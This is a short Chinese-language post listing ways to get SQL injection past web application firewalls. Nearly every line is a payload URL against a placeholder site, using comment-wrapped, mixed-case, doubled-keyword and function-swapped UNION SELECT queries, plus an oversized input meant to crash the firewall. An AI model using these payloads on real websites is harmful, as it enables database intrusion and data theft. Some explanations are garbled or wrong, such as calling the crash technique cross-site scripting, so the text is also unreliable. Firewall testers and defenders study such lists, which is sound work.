什么叫WAF?
Web运用防火墙是根据执行一系列对于HTTP/HTTPS的安全策略来专业为Web运用提供维护的一款商品。
基本上/简易绕过方式:
1、注释符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、应用大小写字母
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、融合前边二种方式
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、关键词更换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方案适用一些会把union select更换掉的WAF,通过WAF过虑后便会变为 union select 1,2,3,4....
5、内部结构注释
http://www.site.com/index.php?page_id=-15 UnION/**/SElecT 1,2,3,4…
U更换为U,S替换为S 在 union 和 select 中间加上注释/**/
高級绕过方式:
1、跨站脚本攻击/使防火墙奔溃
绝大多数防火墙全是根据C/C 开发设计的,我们可以应用跨站脚本攻击应用WAF奔溃
http://www.2cto.com /index.php?page_id=-15 and (select1)=(Select 0xAA[..(add about 1000 "A")..]) /*!uNIOn*/ /*!SeLECt*/ 1,2,3,4….
你能应用如下所示方式检测WAF
?page_id=null /**//*!50000UnIOn*//*yoyu*/all/**/ /*!SeLEct*/ /*nnaa*/ 1,2,3,4….
假如回到500不正确,你也就可以应用跨站脚本攻击的办法来绕过WAF
2、对英文字母开展编号
http://www.site.com/index.php?page_id=-15 /*!union*/ /*!select*/ 1,2,3,4….
3、应用别的自变量或是指令对引入句子实现更换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、运用WAF自身的作用绕过
倘若你发觉WAF会把"*"更换为空,那麼就可以充分利用这一特点来开展绕过
http://www.site.com/index.php?page_id=-15 uni*on sel*ect 1,2,3,4....
其他方式:-15 (uNioN) (sElECt)….-15 (uNioN SeleCT) …-15 (UnI)(oN) (SeL)(ecT) ….-15 union (select 1,2,3,4…)